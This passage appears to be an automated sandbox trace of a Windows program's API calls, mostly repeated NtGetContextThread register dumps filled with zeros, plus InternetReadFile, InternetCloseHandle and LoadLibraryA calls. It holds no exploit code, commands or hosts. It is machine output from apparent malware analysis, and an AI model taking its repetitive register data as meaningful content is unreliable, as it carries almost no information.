[235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.602] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x21bcc40, dwNumberOfBytesToRead=0x10000, lpdwNumberOfBytesRead=0x19fed4 | out: lpBuffer=0x21bcc40*, lpdwNumberOfBytesRead=0x19fed4*=0x0) returned 1 [0234.610] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.686] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0234.695] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0234.695] InternetCloseHandle (hInternet=0xcc000c) returned 0 [0234.697] LoadLibraryA (lpLibFileName="kernel32") returned 0x772d0000 [0234.705] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x2185004 | out: Context=0x2185004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, 